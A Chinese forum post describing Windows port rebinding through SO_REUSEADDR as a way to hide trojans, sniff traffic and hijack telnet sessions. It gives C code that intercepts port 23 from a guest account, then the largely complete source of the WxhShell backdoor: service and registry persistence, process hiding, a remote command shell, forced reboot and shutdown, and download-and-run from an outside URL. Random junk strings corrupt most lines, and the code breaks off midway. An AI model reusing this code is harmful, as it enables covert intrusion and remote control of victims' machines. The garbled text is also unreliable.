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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h*w%jdQ6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }:us:%  
@?yX!_YC  
  saddr.sin_family = AF_INET; H!5\v"]WB  
>z%&xgOa  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5|o6v1bM  
=cm~vDl[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); El.hu%#n*G  
6{n!Cb[e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F'4w;-ax  
1(I6.BHW  
  这意味着什么?意味着可以进行如下的攻击: q7_ m&-0)  
ew#B [[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9Iwe2lu  
G6/p1xy>o:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |iE50,  
dQV;3^iUY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YQHw1  
}<@b=_>S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d1AioQ9  
oSy yd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mz,  
3I)VHMC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D~hg$XzK  
="Ho%*@6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *AO,^R&e.  
'EbWFMjy  
  #include jQ2Ot<  
  #include gtk7)Uh  
  #include x=b7':nQ  
  #include    [N7{WSZ&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CE#gfP  
  int main() F`gi_; c  
  { VH9dleZ  
  WORD wVersionRequested; /{+y2.{j  
  DWORD ret; mRL"nC  
  WSADATA wsaData; 95 ;x=ju  
  BOOL val; 9$cWU_q{  
  SOCKADDR_IN saddr; /67 h&j  
  SOCKADDR_IN scaddr; g.BdlVB\  
  int err; $c 0h. t  
  SOCKET s; e+~\+:[?  
  SOCKET sc; ,]46I.]  
  int caddsize; _F>CBG  
  HANDLE mt; \fG#7_wt  
  DWORD tid;   QEz? w}b*  
  wVersionRequested = MAKEWORD( 2, 2 ); dIN$)?aB0  
  err = WSAStartup( wVersionRequested, &wsaData ); {1 UQ/_  
  if ( err != 0 ) { b\yXbyjZ3.  
  printf("error!WSAStartup failed!\n"); 06O2:5zF  
  return -1; B8": 2HrW$  
  } \NgYTZ  
  saddr.sin_family = AF_INET; N5Q[nd  
   =/s>Q l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s/$?^qtyC  
)bS yB29S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~Sj9GxTe  
  saddr.sin_port = htons(23); sDPs G5q<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f .Q\Z'S^  
  { AL9chYP}/  
  printf("error!socket failed!\n"); ~;l@|7wGz  
  return -1; NQBpX  
  } `uOT+B%R  
  val = TRUE; \MyLc/Gh5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 11o.c;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vdAr|4^qB  
  { 'u*D A|HC  
  printf("error!setsockopt failed!\n"); ,:%CB"J  
  return -1; Xe$I7iKD  
  } ?9e_gV{&;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O_ `VV*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1eS&&J5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IpYM;tYw&  
pMw*9s X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q6PHpaj  
  { 4!Fo$9  
  ret=GetLastError(); cpL7!>^=  
  printf("error!bind failed!\n"); '@o;-'b  
  return -1; q!.byrod  
  } 0)Uce=t`  
  listen(s,2); (SpX w,:  
  while(1) +"rDT1^V  
  { \UPjf]&  
  caddsize = sizeof(scaddr); _Gn2o2T  
  //接受连接请求 ~xkeuU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )eUh=eW  
  if(sc!=INVALID_SOCKET) &XIt5<$~R  
  { [w0QZyUn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |Luqoa  
  if(mt==NULL) 3@kf@ Vf  
  { f.D?sHAn  
  printf("Thread Creat Failed!\n"); my(2;IJ#{  
  break; 0(eB ZdRO  
  } a L} % 2  
  } J"!vu.[  
  CloseHandle(mt); Sdp&jZY  
  } x-$&g*<  
  closesocket(s); VJeu 8ZJ.  
  WSACleanup(); 94h]~GqNi  
  return 0; &v56#lG  
  }   IHB} `e|  
  DWORD WINAPI ClientThread(LPVOID lpParam) XW[j!`nlk  
  { `F-/QX[:  
  SOCKET ss = (SOCKET)lpParam; s2h@~y  
  SOCKET sc; J[l7di5  
  unsigned char buf[4096]; qX/y5F`  
  SOCKADDR_IN saddr; v[ . cd*b  
  long num; MLXNZd   
  DWORD val; GZEc l'h*  
  DWORD ret; fT;s-v[`k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nEJq_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L{X_^  
  saddr.sin_family = AF_INET; qB5j;@ r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gqZ'$7So  
  saddr.sin_port = htons(23); k Z?=AXu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F^WP<0C  
  { B^1>PE  
  printf("error!socket failed!\n"); ( l\1n;s*B  
  return -1; !\-{D$E?H  
  } {x|[p_?  
  val = 100; 8m-U){r!U^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Njxv4cc  
  { *w|:~g  
  ret = GetLastError(); SEo'(-5  
  return -1; =O&%c%~q  
  } $mu^G t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HHA<IZ#;,  
  { 52%2R]G!  
  ret = GetLastError(); vmU@^2JSJ  
  return -1; vx1c,8  
  } '.on)Zd.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dzARI`  
  { B-xGX$<z  
  printf("error!socket connect failed!\n"); ZT'`hK_up  
  closesocket(sc); %aHB"vi6  
  closesocket(ss); *{YlN}vA  
  return -1; Bc(Y(X$PK  
  } y`VyQWW  
  while(1) IoxgjUa  
  { d?ex,f.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gR&Q3jlIV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SzAJ2:qhl  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B~6&{7 xc%  
  num = recv(ss,buf,4096,0); P Y_u/<u  
  if(num>0) 34`'M+3  
  send(sc,buf,num,0); 8*W#DH!  
  else if(num==0) .I7pA5V{#  
  break; ^hG-~z<  
  num = recv(sc,buf,4096,0); UvJ}b  
  if(num>0) @'w"R/,n-@  
  send(ss,buf,num,0); C;;Sih5  
  else if(num==0) c?tBi9'Y]  
  break; p#&h=,W}  
  } )mg:_K  
  closesocket(ss); 6 hw=  
  closesocket(sc); |ax3sAg  
  return 0 ; Ghu#XJB?  
  } h`]Iy  
u__9Z:+  
s(5Y  
========================================================== P9GN}GN%v  
n D0K).=Q  
下边附上一个代码,,WXhSHELL m!gz3u]rN  
wVX[)E\J  
========================================================== 9{'N{  
aAZZ8V  
#include "stdafx.h" a+[RS]le  
HU1h8E$-  
#include <stdio.h> n3T>QgK  
#include <string.h> ;%B(_c  
#include <windows.h> bk[U/9Z\  
#include <winsock2.h> c' ^?/$H|  
#include <winsvc.h> wu7Lk3  
#include <urlmon.h> srPWE^&  
<5-[{Q/2z  
#pragma comment (lib, "Ws2_32.lib") %<)2/|lCd  
#pragma comment (lib, "urlmon.lib") <C_jF  
JUsQ,ETn  
#define MAX_USER   100 // 最大客户端连接数 >NO[UX%yP  
#define BUF_SOCK   200 // sock buffer spGb!Y`mR  
#define KEY_BUFF   255 // 输入 buffer ?L5zC+c!  
[^R^8k  
#define REBOOT     0   // 重启 Gk. ruQW"  
#define SHUTDOWN   1   // 关机 |!1Y*|Q%s  
(jnzT=y  
#define DEF_PORT   5000 // 监听端口 [/PR\'|  
")_|69 VX  
#define REG_LEN     16   // 注册表键长度  Hu^1[#  
#define SVC_LEN     80   // NT服务名长度 l\E%+?K+^  
",p;Sd  
// 从dll定义API 0QB iC]9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6|K5!2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d:_t-ZZo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3YeG$^y"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P!$Zx)T  
 H_B4  
// wxhshell配置信息 qPWP&k  
struct WSCFG { }HL]yDO  
  int ws_port;         // 监听端口 9"@\s$ OBk  
  char ws_passstr[REG_LEN]; // 口令 q YC;cKv  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6}Vf\j~  
  char ws_regname[REG_LEN]; // 注册表键名 9 3U_tQ&1?  
  char ws_svcname[REG_LEN]; // 服务名 nxY\|@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u9:`4b   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Yw22z #K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Kh"?%ZIa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &Q9qq~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KLU-DCb%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  jPC[_g  
Ot$-!Y;<  
}; TIx|L  
[=x[ w70  
// default Wxhshell configuration CWf / H)~  
struct WSCFG wscfg={DEF_PORT, \(~y?l  
    "xuhuanlingzhe", v:EB*3n5  
    1, ]O Z5 fd  
    "Wxhshell", *w$W2I>b7  
    "Wxhshell", w:??h4lt  
            "WxhShell Service", NWP5If|'X  
    "Wrsky Windows CmdShell Service", LnFdhrB@x  
    "Please Input Your Password: ", 7WZrSC  
  1, ,ZKr .`B  
  "http://www.wrsky.com/wxhshell.exe", LZ\q3 7UV  
  "Wxhshell.exe" }xKP~h'F  
    }; ,368d9,rDz  
PvR6 z0  
// 消息定义模块 < z+t,<3D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7.-V-?i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; anuL1f XO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BoA/6FRi[  
char *msg_ws_ext="\n\rExit."; 68bQ;Dv  
char *msg_ws_end="\n\rQuit."; k=2Lo  
char *msg_ws_boot="\n\rReboot..."; =31"fS@  
char *msg_ws_poff="\n\rShutdown..."; *zNYZ#  
char *msg_ws_down="\n\rSave to "; V @rI`~$  
{qDSPo  
char *msg_ws_err="\n\rErr!"; 9 ^o-EC!_  
char *msg_ws_ok="\n\rOK!"; MtM%{=&_  
y9_V  
char ExeFile[MAX_PATH]; ~aw.(A?MI  
int nUser = 0; ]~844J p  
HANDLE handles[MAX_USER]; ioa U*%  
int OsIsNt; h}-3\8 >  
1ofKt=|=  
SERVICE_STATUS       serviceStatus; XoXM ^*Vk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @<<<C?CTv  
K*\' .~[6  
// 函数声明 909?_ v  
int Install(void); d; [C6d  
int Uninstall(void); ?8HHA: GP  
int DownloadFile(char *sURL, SOCKET wsh); %/EVUN9=  
int Boot(int flag); /TE_W@?^  
void HideProc(void); U T>s 5C  
int GetOsVer(void); M\C"5%2Mu  
int Wxhshell(SOCKET wsl); +_s #2  
void TalkWithClient(void *cs); xE1 eT,  
int CmdShell(SOCKET sock); |yvQ[U~PQ  
int StartFromService(void); d[r#-h> dS  
int StartWxhshell(LPSTR lpCmdLine); kTKq/G,Ft  
01[NX? qEa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :Y-{Kn6`_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }p=Jm)y  
2Fy>.*,?  
// 数据结构和表定义 Wi>!{.}%A  
SERVICE_TABLE_ENTRY DispatchTable[] = M]<?k]_p  
{ U2$d%8G  
{wscfg.ws_svcname, NTServiceMain}, |\w=u6jX  
{NULL, NULL} 85lCj-cs  
}; M=.:,wRm  
QpZ:gM_  
// 自我安装 Ok{*fa.PK  
int Install(void) $J4 *U  
{ 3WN`y8l  
  char svExeFile[MAX_PATH]; "rTQG6`  
  HKEY key; F8hw #!Aq  
  strcpy(svExeFile,ExeFile); XttqO f  
KuWWUjCE  
// 如果是win9x系统,修改注册表设为自启动 -7m:91x  
if(!OsIsNt) { !GOM5z,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EJ@?h(O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c/Qt Ot  
  RegCloseKey(key); J~=n`pW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >oea{u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s~X+*@.  
  RegCloseKey(key); yphS'AG  
  return 0; _,q)hOI  
    } AoY -\E  
  } X7[^s $VK  
} f @8mS    
else { pa#d L!J  
5>VY LI  
// 如果是NT以上系统,安装为系统服务 "-_fv5jL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p/(~IC "!J  
if (schSCManager!=0) ()tp>  
{ =,%CLS,6w  
  SC_HANDLE schService = CreateService DQMHOd7g  
  ( cQG +$0(  
  schSCManager, ?/TSi0R  
  wscfg.ws_svcname, 'iy*^A `Y  
  wscfg.ws_svcdisp, 0$_oT;{8  
  SERVICE_ALL_ACCESS, YiYV>gaf"H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *ohL&'y  
  SERVICE_AUTO_START, 5pU2|Bk /  
  SERVICE_ERROR_NORMAL, 5?p2%KQ  
  svExeFile, Zkx[[gzL  
  NULL, 9Kg21-?  
  NULL, YRv&1!VLE  
  NULL, $\b$}wy*  
  NULL, "nm FzN  
  NULL t(GR)&>.2  
  ); pp.6Ex (R  
  if (schService!=0) x??pBhJH  
  { ]DZE%  
  CloseServiceHandle(schService);  ~UyV<  
  CloseServiceHandle(schSCManager); ktK_e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~CtL9m3tO  
  strcat(svExeFile,wscfg.ws_svcname); iY`%SmB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MWI4Y@1bS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PpV'F[|,r  
  RegCloseKey(key); sBu=e7  
  return 0; VmCW6 G#M  
    } \Z^TXyu   
  } ii%+jdi.  
  CloseServiceHandle(schSCManager); i.=w]S j  
} DKfE.p)  
} DvPlV q~  
SaC d0. h  
return 1; 7uT:b!^f[  
} a UxGzMZ  
[v$0[IuY,  
// 自我卸载 #BJG9DFP4`  
int Uninstall(void) cHcmgW\4  
{ T_X6Ulp  
  HKEY key; 7Q7-vx  
e2z h&j  
if(!OsIsNt) { 'D6T8B4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gq_-Val]"  
  RegDeleteValue(key,wscfg.ws_regname); ` L >  
  RegCloseKey(key); 76V 6cI=+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xBUya4w  
  RegDeleteValue(key,wscfg.ws_regname); HODz*pI  
  RegCloseKey(key); o[v\|Q`d  
  return 0; Z-8Yd6 4  
  } Jo$G,Q  
} IGS1|  
} Dw=gs{8D  
else { wUiys/ OVM  
3= DNb+D!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Au{<hQ =  
if (schSCManager!=0) !l|5z G  
{ cZH-"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W3Dc r@Dy  
  if (schService!=0) v$(lZa1  
  { 61/.K_%I.  
  if(DeleteService(schService)!=0) { MS>t_C(  
  CloseServiceHandle(schService); rSxxH]-  
  CloseServiceHandle(schSCManager); {g2@6ct  
  return 0; ^ "i l}8`  
  } @o#!EfZyE  
  CloseServiceHandle(schService); _9tK[ /h  
  } %YSpCI  
  CloseServiceHandle(schSCManager); /EibEd\  
} smdZxFl  
} tniDF>Rb  
lZyG)0t,g  
return 1; E Q4KV  
} &LF` W  
#O$  
// 从指定url下载文件 AX?fuDLs  
int DownloadFile(char *sURL, SOCKET wsh) I8+~ &V}  
{ lY~4'8^  
  HRESULT hr; HS{(v;  
char seps[]= "/"; *+TH#EL2  
char *token; } X^|$  
char *file; %{(x3\ *&  
char myURL[MAX_PATH]; hX`hs- *qM  
char myFILE[MAX_PATH]; o;W`4S^  
\Y|~2Ls8tu  
strcpy(myURL,sURL); 'eo KZX+  
  token=strtok(myURL,seps); i<H wTmm$  
  while(token!=NULL) B=>RH!&  
  { Q:|l`*.R  
    file=token; K =C!b?  
  token=strtok(NULL,seps); GwG4LIp  
  } '"?C4mbSl  
'"<6.,Ae  
GetCurrentDirectory(MAX_PATH,myFILE); =Zu^80/  
strcat(myFILE, "\\"); /n5F(5<  
strcat(myFILE, file); %q!8={J8  
  send(wsh,myFILE,strlen(myFILE),0); T[,/5J  
send(wsh,"...",3,0); FP0G]=ME  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {r> .G7P6  
  if(hr==S_OK) {%VV\qaC  
return 0; [zL7Q^~  
else Tneq6>  
return 1; JC}f-%H?K  
A a= u+  
} t~E<j+<2B  
t6,wjN-J  
// 系统电源模块 s[K^9wz  
int Boot(int flag) RlqQ  
{ &ISb~5  
  HANDLE hToken; :Xn7Ha[f  
  TOKEN_PRIVILEGES tkp; :l2g#* c  
M t*6}Cl  
  if(OsIsNt) { _* IPk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "S&@F/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iT;@bp  
    tkp.PrivilegeCount = 1; DHw&+MY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P y>{t4;S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `+zWu 55;  
if(flag==REBOOT) { >iOzl wmG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6*qL[m.F[o  
  return 0; y kW [B  
} :9R=]#uD  
else { HJ2*y|u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 21ppSN >  
  return 0; }w/;){gu  
}  6\u!E~zy  
  } h)6GaJ=  
  else { *\wp?s>-t  
if(flag==REBOOT) { d{3@h+zL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oT{@_U{*J  
  return 0; QJ F=UB  
} 1=|7mehL%  
else { {^ m(,K_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?_oF:*~\  
  return 0; >6~k9>nDb<  
} RrhT'':[  
} :d0Y%vl  
Qd_Y\PzS  
return 1; .MVYB\6Q0  
} PN$X N<  
osOVg0Gyj  
// win9x进程隐藏模块 +B'8|5tPX  
void HideProc(void) Z<#hS=eY  
{ FYb34LY  
W(25TbQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 65oWD-  
  if ( hKernel != NULL ) zOHypazOTq  
  { kWlAY%   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /Y&02L%\3s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *d(SI<j  
    FreeLibrary(hKernel);  cO\-  
  } t ?h kL  
$s4Wkq  
return; _TUk(Qe  
} TgTnqR@/  
mv atUe  
// 获取操作系统版本 YC=S5;  
int GetOsVer(void) /({;0I*!i  
{ )i>[M"7  
  OSVERSIONINFO winfo; v! 42 DA)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ? b[n|^wS  
  GetVersionEx(&winfo); C{Asp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7 uMd ZpD  
  return 1; YB)3X[R+0  
  else E15vq6DKF  
  return 0; ~gI{\iNF/  
} RGIoI ]_  
BPqGJ7@  
// 客户端句柄模块 [U8$HQ+x  
int Wxhshell(SOCKET wsl) 1z*kc)=JF8  
{ b?Pj< tA  
  SOCKET wsh; -h-oMqgu(  
  struct sockaddr_in client; ,&7Wa-vf  
  DWORD myID; G\/"}B:(  
mmEp'E  
  while(nUser<MAX_USER) Q}*y$se!  
{ ]DvO:tM  
  int nSize=sizeof(client); |2`"1gt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H]\Zn%.#  
  if(wsh==INVALID_SOCKET) return 1; 0rokR&Y-d  
QM5 .f+/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 85|fyX  
if(handles[nUser]==0) V8-h%|$p3W  
  closesocket(wsh); 0IT@V5Gdj  
else #hL*r bpT  
  nUser++; j2M+]Zp.  
  } 02JoA+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zTo8OPr  
~u&|G$1!0  
  return 0; W~ULc 9  
} -$<O\5cAQ  
~|Z'l%<Os  
// 关闭 socket s?3i) Ymr  
void CloseIt(SOCKET wsh) !umEyd@ "  
{ m"-[".-l-  
closesocket(wsh); b8BD8~;  
nUser--; sk2%  
ExitThread(0); Y'`"9Db  
} `nJu?5  
Y\+KoR' ;  
// 客户端请求句柄 [m'CR 4(|  
void TalkWithClient(void *cs) 2.Yi( r  
{ HFo-4"  
+VU4s$w6  
  SOCKET wsh=(SOCKET)cs; u>.y:>  
  char pwd[SVC_LEN]; 0 nW F  
  char cmd[KEY_BUFF]; H]31l~@]  
char chr[1]; IeF keE  
int i,j; ~VTs:h  
Y7U&Q:5'  
  while (nUser < MAX_USER) { 1;| LI?  
2GWDEgI1o  
if(wscfg.ws_passstr) { b^`AJK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ohc1 ~?3b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bmo$5$  
  //ZeroMemory(pwd,KEY_BUFF); VjbG(nB?_  
      i=0; WW "i  
  while(i<SVC_LEN) {  0=6/yc  
\&}G]  
  // 设置超时 jN/C'\Q L  
  fd_set FdRead; Nm]% }  
  struct timeval TimeOut; uD>z@J-v  
  FD_ZERO(&FdRead); Az,- Cq  
  FD_SET(wsh,&FdRead); MZ#T^Y  
  TimeOut.tv_sec=8; \ Aq;Q?  
  TimeOut.tv_usec=0; zPZF|%|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TSo:7&|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (E($3t8  
tkuc/Z/@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xt,X_o2m|]  
  pwd=chr[0]; )u@c3?$6  
  if(chr[0]==0xd || chr[0]==0xa) { MonS hIz  
  pwd=0; FfMnul  
  break; V!|e#}1 /  
  } zW4 O4b$T  
  i++; ]UNZd/hIL  
    } Fa3gJ[ZAqf  
S|R|]J|  
  // 如果是非法用户,关闭 socket EZ#gp^$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8&}~'4[b[$  
} xRDiRj  
d*;$AYI#R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IlLn4Iw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oEzDMImJ5  
zp=!8Av  
while(1) { }++5_Z_  
h8^i\j  
  ZeroMemory(cmd,KEY_BUFF); K5 vNhA  
-S; &Q'Mt  
      // 自动支持客户端 telnet标准   <fM>Yi5  
  j=0; 9Z!lmfnJ  
  while(j<KEY_BUFF) { @?2n]n6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g0#q"v55  
  cmd[j]=chr[0]; )&Z>@S^  
  if(chr[0]==0xa || chr[0]==0xd) { K&pM o.  
  cmd[j]=0; dc^Vc{26Z  
  break; izt^Wi|  
  } 9NIy#  
  j++; & 5 <**  
    } rFXSO=P?Z  
{-*\w-~G  
  // 下载文件 c%<2z  
  if(strstr(cmd,"http://")) { IUhp;iH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (iDBhC;/B  
  if(DownloadFile(cmd,wsh)) G8NRj9k?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zg]Drm  
  else zW'/2W.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4DML  
  } z Bf;fi  
  else { ^eTZn[qH>w  
kMe@+ysL  
    switch(cmd[0]) { QTh0 SL  
  ;?im(9h"v!  
  // 帮助 #)i&DJ^Y  
  case '?': { aG3k4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f4]&pcK  
    break; U6i~A9;  
  } +G!v!(Ob+  
  // 安装  [y{E  
  case 'i': { ~PUsgL^  
    if(Install()) =49o U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !d4HN.a7+u  
    else T8q[7Zn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :c;_a-69  
    break; a"qR J-@  
    } /Nqrvy=  
  // 卸载 sQ(1/"gb  
  case 'r': { lS{4dvr?w  
    if(Uninstall()) lV7IHX1P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 ?2g&B\  
    else FuMq|S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wG:$6  
    break; UT-ewXh  
    } pYGYy'%A'  
  // 显示 wxhshell 所在路径 ~|=rwDBZ8l  
  case 'p': { R"Y?iZed3  
    char svExeFile[MAX_PATH]; jlRS:$|R0  
    strcpy(svExeFile,"\n\r"); ||gEs/6-  
      strcat(svExeFile,ExeFile); )_pt*xo  
        send(wsh,svExeFile,strlen(svExeFile),0); x(yX0 ,P/7  
    break; B? TpBd  
    } G"fdu(.@  
  // 重启 W%zmD Hk~  
  case 'b': { qj;l,Kua  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {3 SdX  
    if(Boot(REBOOT)) {fElto   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^^Bm$9  
    else { Uf[T_  
    closesocket(wsh); F(G<* lA  
    ExitThread(0); 3#<'[TF00t  
    } y"Ihr5S\  
    break; 9C1b^^Kb  
    } G* Ib^;$u  
  // 关机 |)';CBb  
  case 'd': { 4d6% t2  
